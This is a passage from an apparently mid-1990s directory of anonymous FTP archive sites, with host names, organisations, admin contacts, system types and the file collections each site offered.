ftp-os2.cdrom.com and + ftp-os2.nmsu.edu; max. 30 users; read README.FTP first +Files : AIX; AnyNet; ARC reports; barton; concert; db2; dpi; IBM info; + IBM res-TeX; ifip; imageplus; interface; Internet-drafts; irda; + journals; mobile-IP; MVS; OS/2 files; official IBM patches, updates, + fixes, APARs etc.; PDE; security; SciEng; TCP/IP; tjw reports; + wsurfer + +Site : soils.agron.iastate.edu +Country: USA +GMT : -6 +Date : 30-Oct-94 +Source : Netrek FAQ +Alias : +Admin : ftp-admin@soils.agron.iastate.edu +Organ : Iowa State University, , Iowa, ICCS Resource Facility +Server : +System : Unix (SCO Open Desktop, 486 DX50) +URL : ftp://soils.agron.iastate.edu/ +Comment: max. 20 users; primary focus is to provide binaries to SCO Open + Desktop and SCO Unix users; tranfers are logged +Files : neon; Netrek;; SCO; soils + +Site : sol.ars-grin.gov +Country: USA +GMT : +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://sol.ars-grin.gov/ +Comment: +Files : descriptors; micro; pcgrin; WWW + +Site : sol.deakin.oz.au +Country: Australia +GMT : +10 +Date : 26-Aug-94 +Source : old ftp-list; andrew@bing.apana.org.au (Andrew Cosgriff) {posting} +Alias : sol.ccs.deakin.edu.au +Admin : +Organ : Deakin University +Server : +System : Unix (SunOS 4.1) +URL : ftp://sol.deakin.oz.au/ +Comment: +Files : AARE; deakinet; ITED; Linux (SLS); network reports; Union students; + Union finance; webb + +Site : solar.stanford.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : rick@rick.stanford.edu +Organ : Stanford University, Menlo Park, California +Server : +System : +URL : ftp://solar.stanford.edu/ +Comment: max. 100 users +Files : local Stanford info; SolarMail + +Site : sonata.cc.purdue.edu +Country: USA +GMT : -5 +Date : 17-Jul-94 +Source : ftp.cs.ubc.ca +Alias : +Admin : archive-management@cc.purdue.edu +Organ : Purdue University, West-Lafayette, Indiana, CC +Server : +System : NeXTStep (NeXT 1.0) +URL : ftp://sonata.cc.purdue.edu/ +Comment: [successor of nova.cc.purdue.edu?] +Files : Purdue NeXT archive: software (0.x, 1.x, 2.x, 3.x, docs, DSP, FAQ, + graphics, literature, lore, mediaview, newsletters, OOP, patches, + sounds and comp.sys.next.* archives + +Site : sotka.cs.tut.fi +Country: Finland +GMT : +2 +Date : 20-Apr-94 +Source : ftp.cs.tut.fi +Alias : +Admin : +Organ : Tampere University of Technology, Tampere, CS dept., + Signal Processing Lab +Server : +System : Unix +URL : ftp://sotka.cs.tut.fi/ +Comment: +Files : TUT/SIG archive(cost: salesman, seq) + +Site : space.mit.edu +Country: USA +GMT : -5 +Date : 17-Jul-94 +Source : old ftp-list +Alias : +Admin : pds-request@space.mit.edu +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts + MIT Center for Space Research +Server : pds-listserv@space.mit.edu, with Subject or text line of "help" +System : Unix +URL : ftp://space.mit.edu/ +Comment: +Files : acis; chxr; M31; SIN; hetg; smcx1; wind; xte + +Site : spade.pc.cs.cmu.edu +Country: USA +GMT : -5 +Date : 19-Apr-94 +Source : old ftp-list +Alias : +Admin : +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, CS dept. +Server : +System : +URL : ftp://spade.pc.cs.cmu.edu/ +Comment: Filenames cannot begin with "/.."; user anon logged in +Files : wg.2170; Xerr; xhm.pid [seems empty] + +Site : sparky2.esd.mun.ca +Country: Canada +GMT : -4 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://sparky2.esd.mun.ca/ +Comment: +Files : NewPet and QuikPlot MSDOS geological software + +Site : sparkyfs.erg.sri.com +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : SRI International +Server : +System : +URL : ftp://sparkyfs.erg.sri.com/ +Comment: +Files : Improving the Security of your Unix system + +Site : sparlast.phil15.uni-sb.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP Server List +Alias : pfsparc02.phil15.uni-sb.de +Admin : ftpadmin@phil15.uni-sb.de +Organ : Universitaet des Saarlandes (University of the Saarland), + Saarbruecken, Faculty of Philosophy, CIP pool of the Medicine Center +Server : +System : +URL : ftp://sparlast.phil15.uni-sb.de/ +Comment: +Files : infosystems; multimedia; Unix; Xenophobia + +Site : spdcc.com +Country: +GMT : +Date : 04-Jan-95 +Source : old ftp-list +Alias : ursa-major.spdcc.com +Admin : +Organ : SPDCC +Server : +System : Unix +URL : ftp://spdcc.com/ +Comment: +Files : gaynet; hiv; motss (con, map, pix); pihkal; gueercard; sci.med FAQ; + SOS; swall_25; trb + +Site : speckled.mpifr-bonn.mpg.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP Server List +Alias : +Admin : root@speckled.mpifr-bonn.mpg.de +Organ : Max Planck Institute - Bonn, Bonn +Server : +System : +URL : ftp://speckled.mpifr-bonn.mpg.de/ +Comment: +Files : Amiga; MS-DOS; Unix + +Site : spectrum.xerox.com +Country: USA +GMT : +Date : 25-Jan-95 +Source : +Alias : +Admin : +Organ : Xerox +Server : +System : Unix +URL : ftp://spectrum.xerox.com/ +Comment: +Files : avs (ppd); christie; IP toolkit; lapped transforms; ntsc; product + support (es) + +Site : speech.cse.ogi.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : old ftp-list +Alias : lydia.cse.ogi.edu +Admin : +Organ : Oregon Graduate Institute of Science and Technology, , Oregon, + CS and Engineering (CSE) dept. +Server : +System : Unix +URL : ftp://speech.cse.ogi.edu/ +Comment: +Files : bib; census; conversion; cse523; dec; docs; findphone; landh; lyre; + members; mitre; multilang; multi_lang; neural; NIST_multilang; + nn_pitch_tracker; opt; osu; phonetic; pitch_data; pitch_tracker; + rasta; releases; tools; uswest; vowel_data + +Site : speedy.cs.uiuc.edu +Country: USA +GMT : -6 +Date : 16-Feb-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Illinois - Urbana/Champaign, Urbana, Illinois, + CS dept. +Server : +System : +URL : ftp://speedy.cs.uiuc.edu/ +Comment: +Files : docs; GNU_ST; IRC; papers; patterns; Smalltalk archives; STV + +Site : sperm.ocean.washington.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Washington, Seattle, Washington, Oceanography dept. +Server : +System : +URL : ftp://sperm.ocean.washington.edu/ +Comment: +Files : RWVector; gcc; gdb; kermit; libg++; liblinpack; liboops; + oopsV2R2+; plot5; spinup; Sungraph; superfilters; xmodem; xyplot + +Site : spider.navsses.navy.mil +Country: USA +GMT : +Date : 23-Aug-94 +Source : admin {posting} +Alias : +Admin : galcik@oasys.dt.navy.mil (Peter Galcik) +Organ : U.S. Navy +Server : +System : Mac (Mac IISi) +URL : ftp://spider.navsses.navy.mil/ +Comment: admin is busy with Spider Web as well; be patient with this server, + it's the machine on his desk; note that this is a Mac server, read + the 00readme file; the site's purpose is not to be normal +Files : game; Mac util; mst3k; newton; pictures; sounds; stuff + +Site : splicer2.cba.hawaii.edu +Country: USA +GMT : -10 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Hawaii, Honolulu, Hawaii, CBA +Server : +System : Netware 3.11 (PC fileserver) +URL : ftp://splicer2.cba.hawaii.edu/ +Comment: default directory: RTM/SPL:/FILES +Files : arcers; comm; education; games; gopher; graphics; hdutils; hicss; + KA9Q; Mac; menus; Mosaic; MS-Word; Novell (novfiles, novlib); OS/2 + panko; pcbridge; pcip; pcroute; pegasus; qbasic; RBBS; RIP; tcp/ip; + telnet; trumpet; virus; windows + +Site : spot.colorado.edu +Country: USA +GMT : -7 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Colorado - Boulder, Boulder, Colorado +Server : +System : +URL : ftp://spot.colorado.edu/ +Comment: spot's anonymous ftp is being moved to ftp.colorado.edu +Files : netinfo; RFCs + +Site : sprocket.ict.pwr.wroc.pl +Country: Poland +GMT : +1 +Date : 30-Aug-94 +Source : ftp.xfree86.org +Alias : +Admin : +Organ : PWR, Wroclaw, Institute of Technical Cybernetics +Server : +System : Unix +URL : ftp://sprocket.ict.pwr.wroc.pl/ +Comment: +Files : bbs (Unix); docs; GNU; Linux; listserver; MS-DOS (antivirus, utils); + Polish; TeX; weather; Windows3 (Mosaic, winsock); WWW; XFree86 + (mirror from ftp.xfree86.org under consideration) + +Site : squid.cs.ucla.edu +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - Los Angeles, Los Angeles, California +Server : +System : +URL : ftp://squid.cs.ucla.edu/ +Comment: Problem: Service not available. Remote server has closed the + connection. +Files : medical documentation + +Site : sri.com +Country: USA +GMT : -8 +Date : 17-Feb-94 +Source : old ftp-list +Alias : crvax.sri.com +Admin : +Organ : SRI International +Server : +System : VAX/VMS running Multinet +URL : ftp://sri.com/ +Comment: default directory: SYS$USER:[ANONYMOUS] +Files : INFO-VAX; netinfo from ftp.nisc.sri.com: Internet Tour, lots of + frequent informational postings, stats etc.; RISKS Digest archive; + SAXON + +Site : srl.org +Country: USA +GMT : +Date : 25-Jan-95 +Source : fhausman@path.net (Frank Hausman) {posting} +Alias : +Admin : support@srl.org +Organ : Survival Research Laboratories +Server : gopher +System : Mac (Macintosh LC) +URL : ftp://srl.org/ +Comment: pictures from shows, soundbites etc.; mirror on lager.geo.brown.edu +Files : SRL Imagebank, Info, Soundbank + +Site : ssc.nsu.nsk.su +Country: Russia +GMT : +6 +Date : 25-Jan-95 +Source : mbo@ccphys.nsu.nsk.su (Konstantin Yu. Boyandin) +Alias : +Admin : maxim@ssc.nsu.nsk.su (Maxim Nikitin) +Organ : Novosibirsk State University, Novosibirsk, Study Scientific Center +Server : +System : Netware (Netware, PC fileserver) +URL : ftp://ssc.nsu.nsk.su/ +Comment: +Files : fonts; games; geninfo; graphics; lyrics; MS-DOS; music; networks; + novell; OS/2; sdn; SimTel Software Repository; sources; windows; + textinfo; Unix + +Site : sseop.jsc.nasa.gov +Country: USA +GMT : -6 +Date : 12-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : NASA - Johnson Space Center, , +Server : +System : VAX/VMS running Multinet +URL : ftp://sseop.jsc.nasa.gov/ +Comment: default directory: DUA1:[ANONYMOUS] +Files : Space images: GIF, JPG, TGA files + +Site : sspp.gsfc.nasa.gov +Country: USA +Date : 13-Jan-94 +GMT : -5 +Source : admin +Alias : +Admin : tcg@sspp.gsfc.nasa.gov (Ted Goldsmith) +Organ : NASA - Goddard Space Flight Center, Greenbelt, Maryland, USA + Shuttle Small Payloads Project (SSPP) +Server : server also supports gopher and www: http://sspp.gsfc.nasa.gov/ +System : Unix (Linux, PC) +URL : ftp://sspp.gsfc.nasa.gov/ +Comment: The Shuttle Small Payloads Project provides the Hitchhiker and + Get Away Special (GAS) carrier systems for flying small payloads + on the Space Shuttle. +Files : carriers; docs; education; GSFC; images; info; NASA; payloads; + space; shuttle; software; SSPP; systems + +Site : ssyx.ucsc.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - Sanata Cruz, Santa Cruz, California +Server : +System : +URL : ftp://ssyx.ucsc.edu/ +Comment: Unix (SunOS 4.0) +Files : some Mac + +Site : stanzi.bchem.washington.edu +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Washington, Seattle, Washington, Biology & Chemistry + dept. +Server : +System : Unix +URL : ftp://stanzi.bchem.washington.edu/ +Comment: +Files : raster3D; world + +Site : stardent.arc.nasa.gov +Country: USA +GMT : -8 +Date : 29-Nov-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting}; +Alias : +Admin : +Organ : NASA - Ames Research Center, Mountain View, California +Server : +System : Unix +URL : ftp://stardent.arc.nasa.gov/ +Comment: +Files : funk; sci.virtual-worlds; Val; VPE papers + +Site : statlab.uni-heidelberg.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : gs@statlab.uni-heidelberg.de +Organ : Universitaet Heidelberg (University of Heidelberg), Heidelberg +Server : +System : +URL : ftp://statlab.uni-heidelberg.de/ +Comment: +Files : + +Site : statws01.statistik.uni-mannheim.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Universitaet Mannheim (University of Mannheim), Mannheim, Statistics + dept. +Server : +System : Unix +URL : ftp://statws01.statistik.uni-mannheim.de/ +Comment: music: read README +Files : music (classic, country, jazz, other, rock, shows); PC (misc, + Pegasus mail, T3); PGP; Unix (Linux, misc, Pegasus); Zen + +Site : stelab.nagoya-u.ac.jp +Country: Japan +GMT : +9 +Date : 22-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : stelab2.nagoya-u.ac.jp +Admin : +Organ : University of Nagoya, Nagoya, Solar-Terrestrial Environment Lab +Server : +System : Unix (EWS-UX/V Release 4.0) +URL : ftp://stelab.nagoya-u.ac.jp/ +Comment: Problem: can't create data socket [still? check!] +Files : + +Site : stis.nsf.gov +Country: USA +GMT : -5 +Date : 23-May-94 +Source : +Alias : +Admin : +Organ : NSF, STIS +Server : +System : Unix +URL : ftp://stis.nsf.gov/ +Comment: +Files : awards; BFA; bulletins; BIO; CISE; EHR; ENG; forms; GEO; grants; + MPS; NSB; NSF; OD; OID; SBE; SRS; STIS; STISINFO + +Site : stones.com +Country: USA +GMT : +Date : 15-Dec-94 +Source : mcstout@netcom.com (Mark C Stout) {posting} +Alias : +Admin : +Organ : The Rolling Stones +Server : http://www.stones.com/ +System : Unix (System V Release 4.0) +URL : http://www.stones.com/ +Comment: +Files : GIFs of Rolling Stones albums; NetScape + +Site : stout.ucar.edu +Country: USA +GMT : -7 +Date : 06-Jan-94 +Source : VAX Software List; old ftp-list +Alias : stout.atd.ucar.edu +Admin : +Organ : National Center for Atmospheric Research, Atmospheric Technology + Division +Server : +System : +URL : ftp://stout.ucar.edu/ +Comment: transfers are logged +Files : VMS software + +Site : suburbia.apana.org.au +Country: Australia +GMT : +10 +Date : 26-Aug-94 +Source : andrew@bing.apana.org.au (Andrew Cosgriff) {posting} +Alias : +Admin : root@suburbia.apana.org.au +Organ : Suburbia Global Network Services, Victoria +Server : +System : Unix (Linux) +URL : ftp://suburbia.apana.org.au/ +Comment: currently a 14k4 PPP link [so don't overuse it!]; public access, + login as 'xfer'; to get your own account, login as 'register'; + max. 2 users +Files : Amiga; Ascii-art; docs; gifs; Linux; Mac; MS-DOS; OS/2; proff; Unix + +Site : sulaw.law.su.oz.au +Country: Australia +GMT : +10 +Date : 23-May-94 +Source : +Alias : +Admin : nelson@sulaw.law.su.oz.au +Organ : Sydney University, Sydney, Law School +Server : +System : Unix +URL : ftp://sulaw.law.su.oz.au/ +Comment: Due to shortage of disk space, comp.binaries.ibmpc is no longer kept + here. These are on archie.au and other sites; /pub/law/0All.tar + contains all the files in the /pub/law directory; uploads welcome, + but leave a note +Files : Ckermit; info; Law; papers; PC; recipes; security + +Site : sumex-aim.stanford.edu +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : old ftp-list; IRC-faq as posted to news.answers +Alias : aim.stanford.edu, sumex.stanford.edu +Admin : +Organ : Stanford University, Menlo Park, California +Server : +System : Unix +URL : ftp://sumex-aim.stanford.edu/ +Comment: +Files : Mac archives; Mycin (Sun4); NeXt; tmycin; several Unix (Sun) utils + +Site : sun.soe.clarkson.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : PC NFS FAQ; VAX Software List; old ftp-list +Alias : +Admin : +Organ : Clarkson University, Potsdam, New York +Server : +System : Unix (SunOS 4.1) +URL : ftp://sun.soe.clarkson.edu/ +Comment: +Files : aaa; Annotated C++; archivers; aviator; C++; ChemSep; comp.graphics; + cutcp; dac; docs; encoders; freemacs; galahad; hamimed; hpgl; ISETL; + KA9Q; lj2ps; mail.archives; masm6502; Matlab; MS-DOS; NCSA 2.2 TN; + Netcon 92/93; Novell; nwsl; Packet Drivers; PostScript; scheme; src; + submit; TeX; transfig; UUPC; vectrex; xdm; z88 + Turbo-C++; Usenet; VMS software + +Site : sun-lamp.cs.berkeley.edu +Country: USA +GMT : -8 +Date : 22-May-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of California - Berkeley, Berkeley, California, CS dept. +Server : +System : Unix +URL : ftp://sun-lamp.cs.berkeley.edu/ +Comment: Attention: Export Control Note!; transfers are logged +Files : NetBSD (main archive); portable PPP; sup + +Site : suna.osc.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : craygate.osc.edu +Admin : +Organ : Ohio Supercomputer Center, Columbus, Ohio +Server : +System : +URL : ftp://suna.osc.edu/ +Comment: all file operations are logged +Files : APE (animation production environment); Trollius (portable + OS for MIND machines) docs and related papers + +Site : sunacm.swan.ac.uk +Country: UK +GMT : 0 +Date : 19-Apr-94 +Source : iiitac@pyr.swan.ac.uk (Alan Cox) {posting} +Alias : +Admin : +Organ : University of Swansea, Swansea +Server : +System : Unix +URL : ftp://sunacm.swan.ac.uk/ +Comment: +Files : ACM info; Linux (kernel, netstuff: dip, route, traceroute); LPMUD; + Seti; SUCS (Swansea University Computer Society) + +Site : sunapee.dartmouth.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : mikescott@ix.netcom.com (Michael Scott) {posting} +Alias : +Admin : +Organ : Dartmouth College +Server : +System : Unix +URL : ftp://sunapee.dartmouth.edu/ +Comment: +Files : bagpipes; bibtools; cliff; crow; CS-Info; CS-papers; + CS-tech-reports; DAGS; diskmodel eprocs; FOCS; GrandCanyon; hotels; + lute; Math-papers; Math-tech-reports; pario; rebelsku; STOC; URL; + wavelets + +Site : sunapo.lrz-muenchen.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : , Munich +Server : +System : +URL : ftp://sunapo.lrz-muenchen.de/ +Comment: removed on request of Deutsche Anonyme FTP Server List admin + might be obsolete +Files : + +Site : sunbane.engrg.uwo.ca +Country: Canada +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Ontario, London, Ontario +Server : +System : +URL : ftp://sunbane.engrg.uwo.ca/ +Comment: +Files : Traveller mailing list archive; FrameMaker programs/utils + +Site : suned.zoo.cs.yale.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : +Admin : +Organ : Yale University, New Haven, Connecticut +Server : +System : Unix (SunOS 4.1) +URL : ftp://suned.zoo.cs.yale.edu/ +Comment: Old ftp-list.gz [delete] +Files : elvej; games; lojban; utils; other hacks + +Site : sunee.uwaterloo.ca +Country: Canada +GMT : -5 +Date : 11-Mar-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Waterloo, Waterloo +Server : +System : Unix +URL : ftp://sunee.uwaterloo.ca/ +Comment: directory: pub/jpeg +Files : Amiga; bicycle; emr; enorgy; fractint; glove; jpeg; mfs; misc; + netgame; NNTP; polyblit; radio; raytracers; rend386; shadows; + sound; vgif; vr; wattcp; waves + +Site : sunic.sunet.se +Country: Sweden +GMT : +1 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Swedish University Network (SUNET) NIC +Server : +System : +URL : ftp://sunic.sunet.se/ +Comment: +Files : RFCs; NNTP; news; Sendmail; NTP; comp.sources: unix, games, + misc; alt.sources; GNU; SUNET info + +Site : sunny.stat-usa.gov +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : CuD +Alias : gopher.esa.doc.gov, ftp.esa.doc.gov +Admin : +Organ : US Department of Commerce, Washington, District of Columbia, + Economics and Statistics Administration, Stat-U.S.A. FTP Server +Server : +System : Unix +URL : ftp://sunny.stat-usa.gov/ +Comment: connections and downloads are logged +Files : budget; defense; export; NII; press + +Site : sunsite.unc.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : sunsite; ftp.oit.unc.edu, calypso-2.oit.unc.edu +Admin : ftpkeeper@sunsite.unc.edu +Organ : University of North Carolina, Chapel Hill, North Carolina, + Office for Information Technology (OIT) +Server : ftpmail@sunsite.unc.edu +System : Unix (Sun) +URL : ftp://sunsite.unc.edu/ +Comment: sponsored by Sun Microsystems; directory: /pub/WAIS/UNC; disclaimer + applies; see how.to.submit for uploads; gopher/wais: telnet to + sunsite.unc.edu and login as gopher or swais respectively; + server can (un)compress, g(un)zip, tar directories and files +Files : academic; docs; electronic-publications; GNU; humor; IAFA; + Internet Talk Radio (ITR); languages; Linux archive; micro; mirror + of byrd.mu.wvnet.edu; multimedia; packages; Politics; SAS; + sci.econ.research archive; Sun related Usenet newsgroups & + announcements; UNC; Unix; WAIS client (nov-cli-visual.zip); X11; + XFree86 (mirror from ftp.xfree86.org); Z39.50 + +Site : sunsite.ust.hk +Country: Hong Kong +GMT : +8 +Source : admin +Alias : +Admin : ftpadmin@sunsite.ust.hk +Organ : Hong Kong University of Science & Technology (HK UST), + Centre of Computing Services & Telecommunications (CCST), +Server : WWW: http://sunsite.ust.hk, Gopher: sunsite.ust.hk +System : Unix (Solaris 2.3, SPARCserver 1000) +URL : ftp://sunsite.ust.hk/ +Comment: max. 80 users; server supports compress, gzip and tar on the fly; +Files : FAQs; GNU; Linux; mirror of gatekeeper.dec.com; RFCs; SimTel + Software Repository mirror; Sun-info; WWW; X11R6 + +Site : sutro.sfsu.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : eps@futon.sfsu.edu (Eric P. Scott) {posting}; old ftp-list +Alias : +Admin : +Organ : San Francisco State University, San Francisco, California +Server : +System : Unix +URL : ftp://sutro.sfsu.edu/ +Comment: +Files : NeXT-related files; Mazewar; Remote Imagaging Protocol (RIP) + Programmer's Library with Extensions (RIPPLE): RIPscrip + +Site : svr-ftp.eng.cam.ac.uk +Country: UK +GMT : 0 +Date : 15-Dec-94 +Source : sgi/anonftp/list; Perry.Rovers@kub.nl +Alias : psf.eng.cam.ac.uk +Admin : svr-ftp@eng.cam.ac.uk +Organ : Cambridge University, Cambridge, Engineering dept., Speech Vision + and Robotics Group +Server : +System : Unix +URL : ftp://svr-ftp.eng.cam.ac.uk/ +Comment: transfers are logged +Files : comp.speech archives & sources; ectl; reports; wernicke + +Site : swedishchef.lerc.nasa.gov +Country: USA +GMT : -6 +Date : 10-Sep-94 +Source : bc770@cleveland.freenet.edu (George Burgyan) {posting} +Alias : +Admin : jhanson@lerc.nasa.gov +Organ : NASA - LEwis Research Center, Cleveland, Ohio, Propulsion Systems + Division +Server : +System : Unix +URL : ftp://swedishchef.lerc.nasa.gov/ +Comment: uploads to /anyone +Files : actb; alt.education.disabled archive; cfdExplorer; describe + (descriptive ls); Digital Review Labs benchmark (drlabs); editors + (configured for SGI); Explorer; GPC (Graphics Performance + Characterization) results/samples; GPC_PLB (Picture + Level Benchmark); graphics software configured for Silicon Graphics + workstations; Image manipulation tools; Information relating to + Lewis Mass Storage activities; insig; IRIS Explorer; mass_store; + SIGGRAPH92 cd-rom contents; mirror of ftp.epcc.ed.ac.uk (/explorer); + NASA meatball insignias; nighthawk; PC NFS (binaries and source for + IRIX 5); psgl + +Site : sy2000.cet.fsu.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Florida State University, , Florida, SchoolYear 2000 +Server : +System : Unix (SunOS 4.1) +URL : ftp://sy2000.cet.fsu.edu/ +Comment: +Files : international; national; SMI; SY2000 + +Site : syd.dit.csiro.au +Country: Australia +GMT : +10 +Date : 25-Jan-95 +Source : +Alias : ditsydh.dit.csiro.au +Admin : +Organ : Commonwealth Scientific & Industrial Research Organization, Sydney +Server : +System : Unix +URL : ftp://syd.dit.csiro.au/ +Comment: +Files : Apple; hci; MicroMouse; PC (archives, qvt); Perl5; RFCs; slnsw; + Sun-fixes; Tk; WWW + +Site : sylva.for.ulaval.ca +Country: Canada +GMT : -5 +Date : 19-Apr-94 +Source : jrthibault@for.ulaval.ca (J. Robert Thibault) {posting} +Alias : +Admin : jrthibault@for.ulaval.ca (J. Robert Thibault) +Organ : University of Laval, Laval, Quebec, Faculty of Forestry and Geomath +Server : +System : Mac +URL : ftp://sylva.for.ulaval.ca/ +Comment: introductory text in French & English; site closes periodically + for maintenance; Mac to Mac site: use "" when there are spaces in + the name of a file or directory: e.g. get "Internet Archivist"; + internet address will change [probably the IP address] +Files : Home brew; Internet Archivist; Sumex-aim.stanford.edu material; + Space Archivist; vegetation oriented material: educational material, + plantinfo, images, mailinglists; + +Site : syrinx.umd.edu +Country: USA +GMT : -5 +Date : 26-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of Maryland, , Maryland +Server : +System : Unix +URL : ftp://syrinx.umd.edu/ +Comment: Pink Floyd files have moved to ftp.halcyon.com [according to a + recent posting] +Files : brew; floyd; mst3k; Rush + +Site : tacky.cs.olemiss.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Mississippi, , Mississippi +Server : +System : +URL : ftp://tacky.cs.olemiss.edu/ +Comment: +Files : + +Site : tandem.com +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : suntan.tandem.com +Admin : +Organ : Tandem Computer +Server : +System : Unix (SunOS 4.1) +URL : ftp://tandem.com/ +Comment: +Files : ham radio + +Site : tardis.ed.ac.uk +Country: UK +GMT : 0 +Date : 10-Sep-94 +Source : blj@mayo.edu (Brian Johnson) {posting} +Alias : +Admin : ftp@tardis.ed.ac.uk +Organ : University of Edinburgh, Edinburgh, Scotland +Server : +System : Unix +URL : ftp://tardis.ed.ac.uk/ +Comment: transfers are logged; valid e-mailaddress needed +Files : bcs; gems; graphics; jargon; jpd; micros; paperwork; phrack; Queer + Resources Directory (QRD); spunk; stormcock; tv (Monty Python etc.) + +Site : tasman.cc.utas.edu.au +Country: Australia +GMT : +10 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : postmaster@utas.edu.au +Organ : University of Tasmania, Hobart, Tasmania +Server : +System : +URL : ftp://tasman.cc.utas.edu.au/ +Comment: public ftp area moved to ftp.utas.edu.au (but still reachable) +Files : antivirus utilities + +Site : tau-ceti.isc-br.com +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : bobk@dogear.spk.wa.us (Bob Kirkpatrick) {posting} +Alias : +Admin : +Organ : ISC BR +Server : +System : Unix +URL : ftp://tau-ceti.isc-br.com/ +Comment: uploads to /uploads +Files : Adaptec (EZ-SCSI Update); CD-DA; Cyrix 486DLC; ethernet; FX (UUCICO, + UUCP); Mach32; sounds; ST-01 (Adaptec drivers); stories + +Site : tbag.osc.edu +Country: USA +GMT : -5 +Date : 29-Jul-94 +Source : admin +Alias : +Admin : lam@tbag.osc.edu +Organ : Ohio Supercomputer Center, Columbus, Ohio, Trollius Project +Server : www.osc.edu/lam.html; gopher.osc.edu/Software/Trollius +System : Unix (SunOS 4.1.3, Sun) +URL : ftp://tbag.osc.edu/ +Comment: +Files : LAM, a heterogeneous cluster computing environment (UNIX) + supporting the MPI interprocess communication standard + + documentation + tutorials. (pub/lam) + +Site : tbird.cc.iastate.edu +Country: USA +GMT : -6 +Date : 30-Oct-94 +Source : Netrek FAQ +Alias : +Admin : +Organ : Iowa State University, , Iowa, CC +Server : +System : Unix +URL : ftp://tbird.cc.iastate.edu/ +Comment: read README.contents, README.tbird.cc +Files : 386BSD; frp; gifs; PGP; rayshade + +Site : tbone.biol.scarolina.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : +Alias : +Admin : +Organ : University of South Carolina, Columbia, South Carolina +Server : WWW: http://tbone.biol.scarolina.edu/~dean/kit/kit.html +System : Unix (SunOS 4.1) +URL : ftp://tbone.biol.scarolina.edu/ +Comment: +Files : DOS Internet Kit (all you need to setup a computer either directly + connected or modem-based: ftp, gopher, telnet, www) + +Site : tchdns.tch.harvard.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : VAX Software List +Alias : +Admin : +Organ : Harvard University, Cambridge, Massachusetts +Server : +System : VAX/VMS running MultiNet +URL : ftp://tchdns.tch.harvard.edu/ +Comment: default directory: RESEARCH:[BBOARD.PUB] +Files : VMS software + +Site : tecfa.unige.ch +Country: Switzerland +GMT : +1 +Date : 22-May-94 +Source : +Alias : fpssun22.unige.ch +Admin : +Organ : University of Geneva, Geneva +Server : +System : Unix (SunOS 4.1) +URL : ftp://tecfa.unige.ch/ +Comment: +Files : docs; MPEG; multimedia-seminar; pictures; software; sounds; TECFA; + WWW + +Site : technology.com +Country: USA +GMT : +Date : 23-May-94 +Source : +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://technology.com/ +Comment: +Files : seems empty + +Site : techreports.larc.nasa.gov +Country: USA +GMT : -5 +Date : 23-May-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting}; + Perry.Rovers@kub.nl +Alias : blearg.larc.nasa.gov +Admin : +Organ : NASA - Langley Advanced Research Center +Server : WWW: techreports.larc.nasa.gov/ltrs/ltrs.html +System : Unix +URL : ftp://techreports.larc.nasa.gov/ +Comment: This computer is operated by/for the U.S. Government etc; + hostname and files accessed logged for accounting purposes only +Files : archive of info-cluster@larc.nasa.gov mailinglist; compress; NASA + Langley technical reports (icase, larc); pvm + +Site : teetot.acusd.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : 